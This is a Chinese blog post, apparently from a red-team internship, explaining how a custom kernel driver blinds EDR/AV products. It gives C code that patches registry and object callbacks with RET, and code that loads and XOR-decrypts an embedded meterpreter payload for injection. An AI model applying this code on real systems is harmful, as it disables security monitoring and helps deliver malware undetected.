内核攻防实战:绕过EDR回调与拦截器驱动对抗

本文详细剖析了Windows内核回调机制(进程、线程、映像、注册表和对象回调),并介绍如何开发名为Interceptor的内核驱动来修补这些回调以绕过EDR/AV检测。同时,探讨了使用加密资源加载Meterpreter载荷的技术,并与安全厂商的对抗实践。

引言 - 状态报告

随着本篇博客的发布,我的实习生涯已过半程;沉浸在乐趣中,时间飞逝。

在这六周的时间里,我深入探讨了内核驱动以及EDR/AV内核机制的多个方面。我以强劲的势头开场,研究了内核回调以及为什么EDR/AV产品广泛使用它们来洞察系统上发生的一切。我通过利用针对$vendor1的现有工作,并在受感染系统上成功执行Mimikatz,验证了这些概念。

随后,我退后一步,深入研究了内核驱动的内部结构和工作原理,它如何与其他驱动和应用程序通信,以及我如何通过IRP MajorFunction钩子拦截这些通信。

在掌握了基础知识并熟练使用内核和内核调试器后,我开始开发自己的驱动程序Interceptor,该驱动具备内核回调修补和IRP MajorFunction钩子功能。我针对$vendor2对该驱动进行了测试,并得出结论:仅从内核空间攻击EDR/AV产品是不够的,还应考虑用户空间的检测技术。

为了解决这个问题,我随后开发了一个使用EarlyBird技术的自定义shellcode注入器,该注入器与Interceptor驱动结合,能够部分绕过$vendor2,并在受感染系统上启动一个meterpreter会话。

在这次小成功后,我投入了大量时间进行代码维护、重构、错误修复和研究,这让我来到了今天的博客文章。在本文中,我希望总结内核回调,解决了我与注册表和对象回调相关的问题,更详细地重新审视shellcode注入器,并再次将战场带到$vendor2面前。让我们开始吧,好吗?

最后一项:注册表与对象回调

在之前的博客文章中涵盖了进程、线程和映像回调后,我认为用注册表和对象回调来结束这个话题是公平的。在之前的博客中,我演示了如何检索和枚举注册表回调双向链表。修补和随后恢复这些回调的代码几乎完全相同,使用相同的迭代方法。为了简单起见,我决定将修补后的回调存储在大小为64的数组中,而不是另一个链表中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
for (pEntry = (PLIST_ENTRY)*callbackListHead, i = 0; pEntry != (PLIST_ENTRY)callbackListHead; pEntry = (PLIST_ENTRY)(pEntry->Flink), i++) {
  if (i == index) {
    auto callbackFuncAddr = *(ULONG64*)((ULONG_PTR)pEntry + 0x028);
    CR0_WP_OFF_x64();
    PULONG64 pPointer = (PULONG64)callbackFuncAddr;

    switch (callback) {
      case registry:
        g_CallbackGlobals.RegistryCallbacks[index].patched = true;
        memcpy(g_CallbackGlobals.RegistryCallbacks[index].instruction, pPointer, 8);
        break;
      default:
        return STATUS_NOT_SUPPORTED;
        break;
    }

    *pPointer = (ULONG64)0xC3;
    CR0_WP_ON_x64();
    return STATUS_SUCCESS;
  }
}

注册表回调已经修补并处理完毕,是时候跨越最后一个障碍了,而且是个大障碍:对象回调。在所有内核回调中,对象回调无疑给我带来了最多的困扰,我仍然没有100%理解它们。关于这方面的文档有限,而且大部分内容都涵盖了对象回调本身及其使用方法,而不是如何绕过或禁用它们。尽管如此,我还是找到了一些值得分享的好资源:

  • OBREGISTERCALLBACKS AND COUNTERMEASURES by Douggem
  • ObRegisterCallbacks Bypass by @shh0ya (韩语)
  • Driver_to_disable_BE_process_thread_object_callbacks by @olivier_boscho

什么是对象回调的黑魔法?

对象回调是由于进程/线程/桌面句柄操作而被调用的。它们可以在操作发生之前(POB_PRE_OPERATION_CALLBACK)或在操作完成后(POB_POST_OPERATION_CALLBACK)被调用。一个很好的例子是OpenProcess() API调用,如果成功,它会返回一个指向目标本地进程对象的打开句柄。当调用OpenProcess()时,可能会触发一个预操作回调,而当OpenProcess()返回时,可能会触发一个后操作回调。

对象回调仅适用于进程对象、线程对象和桌面对象。这些对象回调最常见的用例是修改对所提及对象的请求访问权限。如果我尝试使用带有PROCESS_ALL_ACCESS标志的OpenProcess()来附加调试器到EDR/AV进程,EDR/AV很可能会使用对象回调将授予的访问权限更改为类似PROCESS_QUERY_LIMITED_INFORMATION的内容以保护自己。

我在哪里可以找到一个呢?

很高兴你问!事实证明它们有点难找。Windows包含一个非常重要的结构OBJECT_TYPE,其定义为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
typedef struct _OBJECT_TYPE {
  LIST_ENTRY TypeList;
  UNICODE_STRING Name;
  PVOID DefaultObject;
  UCHAR Index;
  ULONG TotalNumberOfObjects;
  ULONG TotalNumberOfHandles;
  ULONG HighWaterNumberOfObjects;
  ULONG HighWaterNumberOfHandles;
  OBJECT_TYPE_INITIALIZER TypeInfo; //unsigned char TypeInfo[0x78];
  EX_PUSH_LOCK TypeLock;
  ULONG Key;
  LIST_ENTRY CallbackList; //offset 0xC8
} OBJECT_TYPE, *POBJECT_TYPE;

该结构用于定义进程和线程对象,这是唯一允许在创建和复制时进行回调的两种对象类型,并存储在全局变量**PsProcessType**PsThreadType中。它还包含一个链表条目LIST_ENTRY CallbackList,该条目指向一个CALLBACK_ENTRY_ITEM结构,定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
typedef struct _CALLBACK_ENTRY_ITEM {
    LIST_ENTRY EntryItemList;
    OB_OPERATION Operations;
    DWORD Active;
    PCALLBACK_ENTRY CallbackEntry;
    POBJECT_TYPE ObjectType;
    POB_PRE_OPERATION_CALLBACK PreOperation; //offset 0x28
    POB_POST_OPERATION_CALLBACK PostOperation; //offset 0x30
    __int64 unk;
} CALLBACK_ENTRY_ITEM, * PCALLBACK_ENTRY_ITEM;

POB_PRE_OPERATION_CALLBACK PreOperationPOB_POST_OPERATION_CALLBACK PostOperation成员包含指向已注册回调例程的函数指针。

展示代码!

上述提到的全局变量**PsProcessType**PsThreadType可用于获取POBJECT_TYPE结构体,该结构体在偏移量0xC8处包含LIST_ENTRY CallbackList地址。

1
2
3
4
PVOID* FindObRegisterCallbacksListHead(POBJECT_TYPE pObType) {
  //POBJECT_TYPE pObType = *PsProcessType;
    return (PVOID*)((__int64)pObType + 0xc8);
}

CallbackList地址随后可用于以类似于注册表回调列表的方式枚举链表,并修补预操作和后操作回调函数指针。预操作和后操作回调分别位于CALLBACK_ENTRY_ITEM结构体的偏移量0x280x30处。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
for (pEntry = (PLIST_ENTRY)*callbackListHead, i = 0; NT_SUCCESS(status) && (pEntry != (PLIST_ENTRY)callbackListHead); pEntry = (PLIST_ENTRY)(pEntry->Flink), i++) {
  if (i == index) {
    // 获取偏移量0x28处的预操作回调函数地址
    auto preOpCallbackFuncAddr = *(ULONG64*)((ULONG_PTR)pEntry + 0x28);
    if (MmIsAddressValid((PVOID*)preOpCallbackFuncAddr)) {
      CR0_WP_OFF_x64();

      // 获取指向已注册回调函数的指针
      PULONG64 pPointer = (PULONG64)preOpCallbackFuncAddr;

      // 保存原始指令,用于恢复回调
      switch (callback) {
        case object_process:
          g_CallbackGlobals.ObjectProcessCallbacks[index][0].patched = true;
          memcpy(g_CallbackGlobals.ObjectProcessCallbacks[index][0].instruction, pPointer, 8);
          break;
        case object_thread:
          g_CallbackGlobals.ObjectThreadCallbacks[index][0].patched = true;
          memcpy(g_CallbackGlobals.ObjectThreadCallbacks[index][0].instruction, pPointer, 8);
          break;
        default:
          return STATUS_NOT_SUPPORTED;
          break;
      }

      // 使用RET(0xC3)修补回调函数
      *pPointer = (ULONG64)0xC3;

      CR0_WP_ON_x64();

      return STATUS_SUCCESS;
    }

    // 获取偏移量0x30处的后操作回调函数地址
    auto postOpCallbackFuncAddr = *(ULONG64*)((ULONG_PTR)pEntry + 0x30);
    if (MmIsAddressValid((PVOID*)postOpCallbackFuncAddr)) {
      CR0_WP_OFF_x64();

      // 获取指向已注册回调函数的指针
      PULONG64 pPointer = (PULONG64)postOpCallbackFuncAddr;

      // 保存原始指令,用于恢复回调
      switch (callback) {
        case object_process:
          g_CallbackGlobals.ObjectProcessCallbacks[index][1].patched = true;
          memcpy(g_CallbackGlobals.ObjectProcessCallbacks[index][1].instruction, pPointer, 8);
          break;
        case object_thread:
          g_CallbackGlobals.ObjectThreadCallbacks[index][1].patched = true;
          memcpy(g_CallbackGlobals.ObjectThreadCallbacks[index][1].instruction, pPointer, 8);
          break;
        default:
          return STATUS_NOT_SUPPORTED;
          break;
      }

      // 使用RET(0xC3)修补回调函数
      *pPointer = (ULONG64)0xC3;

      CR0_WP_ON_x64();

      return STATUS_SUCCESS;
    }
  }
}

Interceptor 对抗 $vendor2:第二轮

在我之前尝试绕过$vendor2并在受感染系统上运行meterpreter反向TCP shell时,攻击被检测到,但未被阻止。我的EarlyBird shellcode注入器使用了一个分阶段载荷来连接回metasploit框架并获取meterpreter载荷,随后被$vendor2标记。

为了解决这个问题,我决定不使用分阶段载荷,而是将整个meterpreter载荷嵌入到二进制本身中。由于载荷大小约为200,000字节,将其作为十六进制字符串嵌入充其量是不切实际的,并且在执行任何静态分析时都会立即被标记。相反,我的同事Firat Acar建议我可以将载荷作为加密资源嵌入,并在运行时在内存中加载和解密。

相关代码出奇地简单:

1
2
3
HRSRC scResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD1), L"payload");
DWORD scSize = SizeofResource(NULL, scResource);
HGLOBAL scResourceData = LoadResource(NULL, scResource);

资源加载后,可以使用memcpy()NtWriteVirtualMemory()等函数将其写入内存。完成后,可以使用简单的XOR在内存中解密:

1
2
3
4
5
6
7
void XORDecryptInMemory(const char* key, int keyLen, int dataLen, LPVOID startAddr) {
    BYTE* t = (BYTE*)startAddr;

    for (DWORD i = 0; i < dataLen; i++) {
        t[i] ^= key[i % keyLen];
    }
}

由于我的shellcode注入器尝试注入到远程进程中,使用此解密例程将导致STATUS_ACCESS_VIOLATION异常,因为不允许直接访问不同进程的内存。应使用NtReadVirtualMemory()NtWriteVirtualMemory()等函数。

然而,在对$vendor2测试此方法后,嵌入的资源几乎立即被标记。也许像RC4或AES这样更好的加密算法可能有效,但这也带来了大量需要实现的开销。

这个问题的另一种解决方案可能是使用套接字远程获取载荷,以避免使用像WinINet这样的更高级API。目前我暂时恢复使用作为十六进制字符串嵌入的分阶段载荷。

有了修补所有内核回调的能力,我决定再次尝试绕过$vendor2。我禁用了其僵尸网络保护模块,该模块检查网络流量中的潜在恶意活动,因为这正是最初标记meterpreter流量的原因。我想看看除了网络数据包检查之外,$vendor2是否会检测到meterpreter载荷。然而,在使用HTTPS植入程序进行测试后,僵尸网络保护并未检测和阻止该载荷。

结论

本篇博客文章总结了内核回调的修补。虽然从内核空间还有更多功能需要添加,更多问题需要解决,例如ETW或微过滤器,但使用内核驱动充分削弱EDR/AV产品的主要目标已经实现。使用Interceptor,我们可以部署meterpreter shell或Cobalt Strike Beacon,甚至可以不被检测地运行Mimikatz。下一个挑战将是在目标上部署驱动程序并绕过诸如驱动程序签名强制(Driver Signature Enforcement)之类的保护措施。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计